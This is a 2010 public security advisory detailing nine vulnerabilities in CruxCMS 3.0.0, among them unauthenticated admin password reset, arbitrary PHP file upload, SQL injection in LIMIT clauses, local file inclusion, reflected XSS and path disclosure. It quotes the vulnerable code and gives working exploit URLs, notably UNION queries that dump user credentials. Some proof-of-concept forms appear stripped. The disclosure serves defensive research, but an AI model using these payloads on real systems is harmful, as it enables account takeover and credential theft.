CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe

[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0 =============================================================================== Author: Janek Vind "waraxe" Date: 27. December 2010 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-78.html Affected Software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CruxCMS is a lightweight, easy to use website content management system (CMS). It is written in PHP and uses the powerful MySQL database. http://www.cruxsoftware.co.uk/cruxcms.php Affected versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tests were conducted against CruxCMS version 3.0.0 ############################################################################### 1. Unauthorized password reset in "manager/passwordreset.php" ############################################################################### Reason: directly accessible php script Attack vectors: user submitted POST parameters "ID" and "Password" Preconditions: none Impact: attacker can take over CruxCMS admin account Php script "manager/passwordreset.php" is directly accessible via web without any authorization. Source code snippet: -----------------[ source code start ]--------------------------------- include ("../includes/injectionprevention.php"); $ID = numericquery($_POST["ID"]) ; if (isset($ID)) { $Password = preventinjection($_POST["Password"]); $Password2 = md5($Password); //Connect to database include ("../includes/dbinfo.php"); // Insert data $sqlquery = "UPDATE " . usersdb . " SET " ."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'"; $results = mysql_query($sqlquery); -----------------[ source code end ]----------------------------------- Example exploit: ------------------------------------------------------------------------------- CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe ------------------------------------------------------------------------------- ############################################################################### 2. Arbitrary file upload in "manager/processeditor.php" ############################################################################### Reason: directly accessible php script Attack vector: specially crafted POST request Preconditions: none Impact: attacker is able to write remote php files to any location. Php script "manager/processeditor.php" is directly accessible via web without any authorization. Source code snippet: -----------------[ source code start ]--------------------------------- $Name = preventinjection($_POST["name"]) ; if (isset($_POST['Type'])) { $Type = $_POST['Type']; } .. $head = $_POST["head"] ; $headlink = $Name . ".php"; if ($Type == "Add") { .. $fileopen = fopen($headlink, 'w') or die("can't open file"); fwrite($fileopen, $head); fclose($fileopen); -----------------[ source code end ]----------------------------------- Example exploit: ------------------------------------------------------------------------------- CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe ------------------------------------------------------------------------------- For testing first make sure, that "images" directory is writable by php. Open html file above and click "Test!" button. After successful POST request newly written remote file can be accessed like this: http://localhost/cruxcms.3.0.0/images/info.php ############################################################################### 3. Arbitrary file upload in "manager/processfile.php" ############################################################################### Reason: directly accessible php script Attack vector: specially crafted POST request Preconditions: none Example exploit: ------------------------------------------------------------------------------- CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe ------------------------------------------------------------------------------- For testing first make sure, that "Uploads/Misc/" directory is writable by php. Open html file above and click "Test!" button. After successful POST request newly written remote file can be accessed like this: http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php As seen above, random string ("38656" in this specific example) is concatenated to the filename. For successful exploitation therefore two options exists: a) if webserver directory listing is enabled, then filename can be easily found b) bruteforce is possible -> ~100 000 tries needed max for filename guessing ############################################################################### 4. SQL Injection in "includes/classes/searchbox.inc.php" ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Attack vector: user submitted GET parameter "max" Preconditions: 1. Search Box must be activated (active by default) 2. Search must return at least one result Impact: attacker can fetch sensitive information from database, including user credentials. Source code snippet from "includes/classes/searchbox.inc.php": -----------------[ source code start ]--------------------------------- // Define the number of results per page $max = $_GET['max']; if (isset($max)) { $max_results = $max; } else { $max_results = 10; } .. $query_fields = "p.Title p.Content"; $query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE "; $query = $query . boolstring2sql_query($query_fields, $query_text); $query = $query . " AND p.Archive = 'No'"; $query = $query . " LIMIT $from, $max_results"; $query = $query . ";"; .. $sql_result = mysql_query($query , $conn) or die ("Couldn't execute query."); -----------------[ source code end ]----------------------------------- As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query. Example exploit: http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1, CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users As result we can see sensitive user data from database. ############################################################################### 5. SQL Injection in "includes/classes/links.inc.php" ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Attack vector: user submitted GET parameter "max" Preconditions: 1. Link Pages must be activated (inactive by default) 2. At least one link must exist Impact: attacker can fetch sensitive information from database, including user credentials. Source code snippet from "includes/classes/links.inc.php": -----------------[ source code start ]--------------------------------- // Define the number of results per page $max = $_GET['max']; if (isset($max)) { $max_results = $max; } else { $max_results = 10; } .. $sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results "; $sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query."); -----------------[ source code end ]----------------------------------- As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query. Example exploit: http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1, CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users As result we can see sensitive user data from database. ############################################################################### 6. SQL Injection in "includes/classes/news.inc.php" ############################################################################### Reason: failure to sufficiently sanitize user-supplied input data Attack vector: user submitted GET parameter "max" Preconditions: 1. News Pages must be activated (inactive by default) 2. At least one news must exist 3. MySQL FILE Privileges needed (rare in real-world attack scenarios) 4. Php setting magic_quotes_gpc=off needed (usually it's "On") 5. attacker must have News editing privileges 6. full path must be know to the directory, which is writable by MySQL UID/user Impact: limited SQL Injection - if all conditions above are met, then it may be possible writing files to the remote system, where MySQL daemon/service is installed Source code snippet from "includes/classes/news.inc.php": -----------------[ source code start ]--------------------------------- // Define the number of results per page $max = $_GET['max']; if (isset($max)) { $max_results = $max; } else { $max_results = 10; } .. $sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results "; $sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query."); -----------------[ source code end ]----------------------------------- As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query. This vulnerability differs from previous cases, because there is "ORDER BY" before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method useless and only exploitation possibility seems to be "INTO OUTFILE". Many conditions are needed for such exploitation (see above), so specifix SQL Injection case can be considered as minor one. ############################################################################### 7. Local File Inclusion in "includes/template.php" ############################################################################### Reason: directly accessible php script Attack vector: user submitted GET parameter "style" Preconditions: 1. Php setting "register_globals=on" needed Example exploit: http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif ############################################################################### 8. Reflected XSS in "manager/login.php" ############################################################################### Reason: directly accessible php script Attack vector: user submitted GET parameter "message" Preconditions: none Example exploit: http://localhost/cruxcms.3.0.0/manager/login.php?message= ############################################################################### 9. Full Path Disclosure in multiple php scripts ############################################################################### Examples: http://localhost/cruxcms.3.0.0/manager/switcher.php?style[] Warning: setcookie() expects parameter 2 to be string, array given in C:\apache_wwwroot\cruxcms.3.0.0\manager\switcher.php on line 24 http://localhost/cruxcms.3.0.0/search.php?search[] Warning: htmlspecialchars() expects parameter 1 to be string, array given in C:\apache_wwwroot\cruxcms.3.0.0\includes\classes\searchbox.inc.php on line 40 http://localhost/cruxcms.3.0.0/manager/filetypes.php Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\apache_wwwroot\cruxcms.3.0.0\manager\filetypes.php on line 24 http://localhost/cruxcms.3.0.0/styles/andreas01.php Warning: include(includes/functions.php) [function.include]: failed to open stream: No such file or directory in C:\apache_wwwroot\cruxcms.3.0.0\styles\andreas01.php on line 36 Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333, to all active waraxe.us forum members and to anyone else who know me! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://userguidenow.com/ ---------------------------------- [ EOF ] ------------------------------------